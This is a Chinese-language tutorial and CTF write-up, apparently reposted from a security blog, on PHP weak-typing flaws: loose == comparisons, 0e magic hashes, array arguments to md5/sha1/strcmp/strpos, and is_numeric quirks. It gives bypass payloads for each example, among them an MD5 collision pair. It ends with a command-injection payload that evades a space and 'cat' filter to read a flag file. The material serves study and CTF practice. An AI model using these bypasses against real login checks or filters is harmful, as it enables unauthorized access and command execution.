详解php弱类型安全问题

admin 2022年1月6日01:29:12评论55 views字数 6801阅读22分40秒阅读模式

基本概念

弱类型的语言对变量的数据类型没有限制,你可以在任何地时候将变量赋值给任意的其他类型的变量,同时变量也可以转换成任意地其他类型的数据。这时候在类型转化、不同类型比较、不合理地传参,会造成意外执行结果和绕过防御。

附上思维导图:

php 常见的转换主要就是int转换为stringstring转换为int。
int转string:

1
2
3
$var = 5;
方式1:$item = (string)$var;
方式2:$item = strval($var);

string转int:intval()函数。

1
2
3
var_dump(intval('2'))	//2
var_dump(intval('3abcd')) //3
var_dump(intval('abcd')) //0

intval()转换的时候,会将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串,intval()不会报错而是返回0。

php 有三个等号(===)和两个等号(==),区别在于三个等号比较时候,会比较变量类型再比较值,两个等号会转化为同一类型再比较。

1
2
3
4
5
<?php
var_dump(1 == '1a');//true
var_dump(null==false);//true
var_dump(0==false);//true
var_dump(0==null);//true

比较操作符

整形与字符串比较

整形与字符串比较时,会将字符串转为整形再比较,转化规则为从字符串左边开始进行转换直到遇到非数值的字符。

1
2
<?
var_dump(0 == 'a');//true

hash比较

当符合\d+e\d+ 的字符串,会将这种字符串解析为科学计数法,例如:0e1=0*10=0
如果 哈希计算结果 是以 0e 开头,在做比较的时候,可以用这种方法绕过

1
2
3
4
5
6
7
<?php
var_dump('0e481036490867661113260034900752' == '0' );//true
var_dump('0e509367213418206700842008763514' == '0e481036490867661113260034900752');//true
var_dump(md5('240610708') == md5('QNKCDZO'));//true
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));//true
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));//true
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));//true

十六进制转换

php7版本以下,字符串以0x开头时,会将字符串转化为十进制再比较。

1
2
<?php
var_dump('0xccccccccc' == '54975581388'); //php7以下为true

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) &amp;&amp; ($digit <= $nine) ) ## 1到9不允许,但0允许
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);

password的字符串值中不能包含1-9的数值,可以含有0,将3735929054转为16进制结果为:deadc0de,传入?password=0xdeadc0de,即可绕过。

内置函数的参数松散型

调用函数时传递给函数无法接受的参数,导致意外的绕过。

md5()

php的md5( string $str[, bool $raw_output = FALSE] ),md5()函数的需要一个string类型的参数。当传入一个array时,md5()不会报错,无法求出array的md5值,结果为NULL, 这就会导致任意2个array的md5值都会相等。

1
2
3
4
<?php
$a= array('1');
$b= array('2');
var_dump(md5($a)===md5($b));

例题:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>

1)传入两个数组参数

1
?username[]=1&password[]=2

2)MD5值相同

1
2
username=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
password=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

sha1()

PHP的sha1( string $str[, bool $raw_output = false] )也无法处array类型的参数。
例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{

if ($_GET['name'] == $_GET['password'])
echo 'Your password can not be your name!';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo 'Invalid password.';
}
else
echo 'Login first!';
?>

传入两个不同值得数组类型参数即可,name[]=1&password[]=3

strcmp()

strcmp( string $str1, string $str2) ,二进制安全字符串比较,如果 str1 小于 str2 返回 < 0;如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 当传入参数为数组时,会返回NULL,NULL==0。

1
2
3
4
<?php
$a= ['2'];
$b= "1";
var_dump(strcmp($a,$b)==0);//true

例题:

1
2
3
4
5
6
7
8
9
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
die('Flag: '.$flag);
else
print 'No';
}
?>

传入 a[]=

switch()

如果 switch 是数字类型的 case 的判断时,switch 会将参数转换为 int 类型。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$i ="2qw";
switch ($i) {
case 0:
case 1:
case 2:
echo "2";
break;
case 3:
echo "3";
} //2,"2qw"转化为2
?>

in_array()

in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) ,检查数组中是否存在某个值,默认使用松散型来判断$needle是否在数组$haystack中,如果设置$strict = true,则在比较时会判断类型是否相等。

1
2
3
4
<?php
$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true ,‘abc’转化为0
var_dump(in_array('1bc', $array)); //true,'1bc'转化为1

array_search( mixed $needle, array $haystack[, bool $strict = false] ),在数组中搜索给定的值,如果成功则返回首个相应的键名 。默认为松散比较比较,不判断类型是否相等。

1
2
3
4
5
<?php

$arrayName = [1,"3"];
$key="1a";
var_dump(array_search($key, $arrayName));//0

strpos()

strpos( string $haystack, mixed $needle[, int $offset = 0 ] ),返回 $needle 在 $haystack 中首次出现的数字位置,如果没找到将返回false,当传入的参数$haystack为数组时,将返回NULL,NULL!==false。

例题:

1
2
3
4
5
6
7
8
9
10
<?php
$flag = "flag";
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) # %00截断
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}

既要是纯数字,又要有’#biubiubiu’,strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,所以符合要求. 所以输入nctf[]= 那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求。

is_numeric()

PHP提供了is_numeric函数,用来变量判断是否为数字。支持普通数字型字符串、科学记数法型字符串、部分支持十六进制0x型字符串。

例题1:

1
2
3
4
5
<?php 
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;

payload

1
password=1337a

例题2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

show_source(__FILE__);
$flag = "flag{xxxxxxx}";
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
}

1).科学计数法

1
?time=5.276e6

2).十六进制

1
?time=0x4F1A01

例题

[WUSTCTF2020]朴实无华

robots.txt 得知 fAke_f1agggg.php 文件,访问一个假flag,响应头部有提示 fl4g.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

level1

1
intval($num) < 2020 && intval($num + 1) > 2021

这里传入num=1e7即可。
在进行intval($num)时被截断成为1,1<2020 => True;
而$num+1时就解析为科学技术法,结果是10000001(也不知道位数对不对,随意啦)。
绕过了。

level2

1
$md5=$_GET['md5'];

一般绕过md5的方法有两种,一个是以0e开头,后面全是数字的结果,这个会被解析为科学计数法为0;另一个是利用数组绕过。
这里利用0e绕过:

1
md5('0e215962017') ==> “0e291242476940776845150308577824”

get flag
这里是个RCE,过滤了空格和cat。
空格用%09(tab)绕过,cat用反斜杠绕过,构造成ca\t:

1
fl4g.php?num=1e7&md5=0e215962017&get_flag=ca\t%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

参考文章:
https://blog.spoock.com/2016/06/25/weakly-typed-security/

FROM :blog.cfyqy.com | Author:cfyqy

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:29:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   详解php弱类型安全问题https://cn-sec.com/archives/721632.html

发表评论

匿名网友 填写信息